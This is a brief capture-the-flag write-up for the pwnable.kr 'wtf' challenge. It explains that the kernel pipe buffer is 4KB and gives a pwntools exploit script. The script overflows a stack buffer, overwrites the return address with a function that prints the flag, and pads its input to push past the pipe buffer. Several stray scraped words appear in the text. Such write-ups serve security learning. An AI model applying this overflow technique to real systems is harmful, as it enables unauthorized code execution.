[pwnable.kr] - wtf

Q:
I don't understand why my exploit is not working.
I need your help.code

download : http://pwnable.kr/bin/wtf
download : http://pwnable.kr/bin/wtf.pyip

Running at : nc pwnable.kr 9015rem

write-ups:get

Thanks to the pipe in Kernel is 4KB.
if we fill it over 4KB, then the process of wtf will be blocking temporarily for waiting new data from pipe.it

from pwn import *

r = remote('pwnable.kr', 9015)
r.recvuntil('payload please : ')

print "Connected!"

win = 0x4005F4 # system(/bin/cat flag)
payload = (0x38)*'B' +  p64(win) + '\x0a'
padding = 4093*'A' # for damn pipe buffer..

#gdb.attach(r, 'b *(main+84)')
show = "-1\n" + padding + payload + '\x0a'
r.send(show.encode('hex'))

r.interactive()
相關文章
相關標籤/搜索